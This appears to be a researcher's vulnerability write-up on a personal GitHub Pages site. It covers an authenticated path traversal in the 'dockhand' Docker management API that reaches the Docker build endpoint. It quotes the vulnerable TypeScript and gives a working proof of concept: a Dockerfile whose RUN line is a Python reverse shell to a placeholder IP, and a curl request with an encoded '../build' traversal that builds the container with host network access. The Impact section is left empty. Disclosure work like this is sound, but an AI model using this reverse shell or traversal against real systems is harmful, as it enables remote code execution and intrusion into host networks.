rootđź’€senseicat:~#

Hack. Eat. Sleep. Repeat!!!


Project maintained by SENSEiXENUS Hosted on GitHub Pages — Theme by mattgraham

Authenticated Server Side Path Traversal to Container Creation to Sandboxed RCE with Host Network Access


Summary

A vulnerability exists in dockhand-main/src/routes/api/containers/[id]/top/+server.ts allowIng an attacker to pass unsanitized values(../) as params.id which is passed to ` execInContainer in dockhand-main/src/lib/server/docker.ts .This allows an attacker to move up the route, call docker endpoint /build` to build a malicious container with full host network access allowing an attacker to map the entire host network which creates a new attack surface for attackers

Details

//LIne 52
//api /containers/[id]/top
const output = await execInContainer(params.id, cmd, envIdNum);
				// Check if output looks like an error message (BusyBox error, etc.)
				if (output.includes('unrecognized option') || output.includes('Usage:') || output.includes('BusyBox')) {
					continue;
				}
//line 3247
export async function execInContainer(
	containerId: string,
	cmd: string[],
	envId?: number | null
): Promise<string> {
	// Create exec instance
	const execCreate = await dockerJsonRequest<{ Id: string }>(
		`/containers/${containerId}/exec`,
		{
			method: 'POST',
			body: JSON.stringify({
				Cmd: cmd,
				AttachStdout: true,
				AttachStderr: true,
				Tty: false
			})
		},
		envId
	);

image

PoC

FROM alpine:latest

RUN apk add --no-cache curl jq python3 bash

RUN python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("<ip>",8000));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")'
../build?remote=http://<url>/Dockerfile&t=sweptme:latest&networkmode=host&version=1#/top
curl --path-as-is http://<url>/api/containers/%2e%2e%2fbuild%3fremote=<url urlencoded>%26t=sweptme:latest%26networkmode=host%26version=1%23/top?env=1

image

image

image

image

image

Impact